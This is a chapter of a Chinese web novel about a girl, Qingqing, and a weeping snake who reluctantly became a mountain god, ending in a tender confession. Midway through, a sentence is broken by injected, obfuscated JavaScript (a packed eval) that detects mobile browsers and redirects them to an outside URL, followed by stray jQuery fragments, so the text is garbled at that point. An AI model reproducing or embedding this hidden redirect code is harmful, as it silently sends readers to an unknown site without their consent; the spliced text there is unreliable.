这场雨下得有点久。
卿卿醒了，坐在门槛的位置，一边吃饭一边赏雨。
偶尔有倾袭而过的凉风，让她打两个寒颤。
肚子里有东西，倒也感觉不到那么冷了。
她吃着吃着，在碗底发现一颗鸡蛋。
边缘被煎得焦脆，却还能看见金黄的蛋心，筷子戳上去，流淌到蛋白的位置。
她忽然就不饿了。
从她模糊的，混乱的记忆里，这是很宝贵的东西。
隔壁的王婶养了五只鸡，每天小心地从鸡窝拾起，用干燥的细棉布擦干净。攒到二十颗，放在垫着棉被的篮子里，带去镇上，换成油盐酱醋。
王婶的家和她家紧挨着，中间只留了窄窄的，能过一个人位置的空隙。
那她家呢？她家在哪？
卿卿搜刮着记忆，没有这样的角落。
从她醒来，没有看见祂的身影。
或许祂还在庙里，藏在祂一直待着的，神像的角落。
或许祂已经走了，去做人无法理解的，神的事情。
她吃完了饭，又躺回床上。
雨过天晴，林间晓日，山林又回到卿卿熟悉的老样子。
她走去溪水旁，洗衣服。
小姑娘似乎格外招泥土喜欢，上午换的新衣裳，下午袖口就蹭上黄泥的颜色。
这是卿卿不太喜欢的劳动，但是也没办法不做，因为衣服就那么三四套。
她还想洗个澡，用毛巾擦身子总感觉油腻腻的。
也就是想想罢了。
回去的时候，有炸着毛的松鼠在树干上跳跃，大概是淋过雨的缘故，尾巴显得异常的大，配上小巧的身体和灵活的动作。卿卿站在树底下，看了很久很久。
不一定什么时候，树叶上残留的雨水，也可能是清晨凝结的露珠在摇晃中掉落，滴在毫无防备的发顶，带来意想不到的清凉。
没关系，就当洗头了。
她回来了，衣服洗得不太干净，让蛇有点难受。
早就说过了，这是一条爱干净的蛇。
她看起来还好，虽然整个人还是灰蒙蒙的，但是比昨天好很多。
没有恐惧也没有悲伤。
祂拿不准主意，要不要这个时候出去。
昨天没摘的果子也很受鸟儿的喜欢，这种果实在山里不太多，再不摘下来，就只能明年再见了。
胖嘟嘟的躯体遮遮掩掩地躲在神像后，半个身子露出来，卿卿很难昧着良心看不见。
她把衣服挂在高高的树枝上，然后直截了当地问：“无妄山神，有什么事吗？”
祂不接受这个名字，“你可以叫我蛇。”
再不济，旺财也要好听很多。
“山神大人，我不能这么叫你，在人类的文化里，这是不敬重的说法。”
祂的心里涩涩的，觉得自己也变得苦了，“卿卿，我不是主动做这个山神的。”
“可是您已经是山神了”，她耸耸肩，“而且当山神看起来还不错，最起码比蛇更好过一些。”
卿卿觉得自己没说错什么，但是结果就是她捅了马蜂窝。
她吃午饭的时候，祂在哭。
她午睡的时候，祂在哭。
就连她吃完了晚饭从溪水边洗碗回来，祂还在哭！
哭出了感情，哭出了音调，哭得卿卿脑瓜子嗡嗡响。
先是小声哼唧，那个时候卿卿还不太确定祂在哭，再是大声嗷嗷，这会确定了，祂确实在哭。嗷嗷了一会儿，又开始小声哼唧，哼唧了一会儿，又开始大声嗷嗷。
更可怕的是寺庙开始回音，她走到哪，都能听见祂哭。
哭得透彻，哭得悲切，哭得她的心情不自禁地开始跟随祂的节奏打拍子。
实在是忍不住了，太阳早就已经落山了，她也早早钻进了被子里。
平日里本该熟睡的时间，伸手不见五指的山林深处，哭嚎在耳边盘旋，实在是一件很可怕的事情。
她下床从神像的后面把祂揪出来，飞快地跑回床上。
莫名其妙的，在这样的夜晚，碰到地面，总感觉会有几只冰冷的手抓住她的脚，把她拖进阴曹地府。
她保持着和祂面对面的姿势，忽然发现，半透明的祂好像在发着绿光。
更可怕了....
“您到底在哭些什么，山神大人？”
祂缩成一团，含含糊糊地开口，“不要这么叫我呜呜呜。”
“就算你不承认，可是你不是早就是山神了吗？”
“而且为什么不愿意承认呢？当山神难道不比做一只躲避飞鸟，找不到食物的蛇好多了吗？”
“老虎在你面前尚且要收敛锋芒，有什么不好的地方呢？”
她不懂祂，她一点也不懂祂。
“呜呜呜呜呜呜呜。”
没有人懂祂，天地这么大，没有人在意一条蛇的死活，天地这么大，没有人关心一条狗的喜悲，“呜呜呜呜呜呜。”
现在又变成大声嗷嗷了，今晚还能睡觉吗？
借着那些若有若无的绿光，她看清了祂的眼泪。
神也有眼泪吗？
神难道不是全知全能，举手为云，覆手为雨，得到祂所有渴望的一切的吗？
神也知道什么是悲伤吗？
她伸手去接，烫的，祂的眼泪是烫的。
落在她掌心，摊成一个不太标准的椭圆，发出微弱的荧光，然后很快消失不见。
真的是泪。
卿卿甚至想舔一口，是咸的嘛？
“你好奇怪啊。”
她这样说。
手凑近去接更多的泪，烫的她手心温热。
“神也有喜怒哀乐吗？”
她捅咕着盘成一团的祂，看着祂越缩越紧，从一个圆盘慢慢把自己缠绕成一个圆球，她找不到祂的脑袋，只有那只胖胖的尾巴，还不听话的耷拉在外面。
她伸手捉住，竟然还欢快地跳跃几下。
而它的主人呢，那个缩成一个圆球的山神大人，还哭得痛彻心扉。
“蛇，你看见老虎的时候，是什么感觉。”
“呜呜呜呜呜呜。”
“你也会害怕吗？现在的你，能体会到，曾经还是一条蛇的时候的情感吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533116|202766||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
？”
“呜呜呜呜呜呜。”
算了，还是先睡觉吧。
她把祂放在地上，朝着神像的方向轻轻一推，走你。
回到温暖的被窝里，蒙住耳朵，最大限度的降低噪音。
“呜呜呜呜呜。”
那个球又滚回来了。
“呜呜呜呜呜。”
那个球自己跳上了床。
“呜呜呜呜呜呜。”
那个球特意把尾巴冲着她。
“我昨天很害怕”，她说。
“我看到了我从没见过的，课本里才出现过的，爪子看起来比我的头都大的猛虎。毫不夸张的说，我和它三七分。”
那个球说：“什么是三七分。”
“它三口，我头七。”
“然后我体会到了你所说的那种恐惧。”
那个球展开了一点点，“人看见老虎都会恐惧的啊，土地婆都成神了，看见老虎还害怕呢。”
“不是对老虎的，是对你的。”
“你体会不到我说的那种恐惧，山神大人。”
“我们的恐惧并不同步，虽然你看起来没什么用，很弱小。但是事实上，你是这个山里面，最强大的存在。你已经超脱了人和动物的维度。”
“你体会不到我的情绪，老虎你都不放在眼里。我在你眼里，大概和我眼里的小蚂蚁没什么区别。”
那个球彻底散开了，祂说：“不是这样的。”
祂在床上蠕动，让身体同她贴在一起。
“不是这样的，卿卿。你是我重要的东西，要小心藏好的那种。”
“只有你能看见我，只有你能和我沟通，只有你能触碰到我的眼泪。卿卿，你是很特别的人。这样的人叫什么来着，祂教过我的，让我想想.....”
“祂还会教你这些吗？”
“是的，他还说，对待这样的人，要坦诚。”
神啊，祂竟然在谈坦诚。一个神的坦诚？
“我问祂什么是坦诚，是把肚皮摊开吗？那很凉快了。”
“祂只是笑，不告诉我。”
“你看你还是不知道的。”
“我知道的。”
祂翻身压到她身上，找到那个熟悉的颈窝，把头埋进去。
“坦诚就是，我是一条不愿意当神的蛇。”
“坦诚就是，对不起。我以为你看到老虎会开心，因为他们的黄黄的，毛茸茸，长得还算好看。你总是把我认作狗，我以为你会喜欢这种带毛的动物。”
“坦诚就是，我绝对不会让你身处危险之中。”
“坦诚就是，我非常非常特别特别喜欢你。”
祂有点重，压得她上不来气。
“你喜欢我？喜欢我什么？喜欢我脸上的酒窝吗？”
“什么是酒窝？”
祂的头埋得更深，带着些没见识的羞涩，“蛇的眼神不好，看不清你的脸，卿卿。”
“喜欢就是喜欢啊。喜欢就是想和你睡在一个窝里，睡在一个窝里也需要理由吗？”
“喜欢就睡一个窝里，睡一个窝里就是喜欢啊。”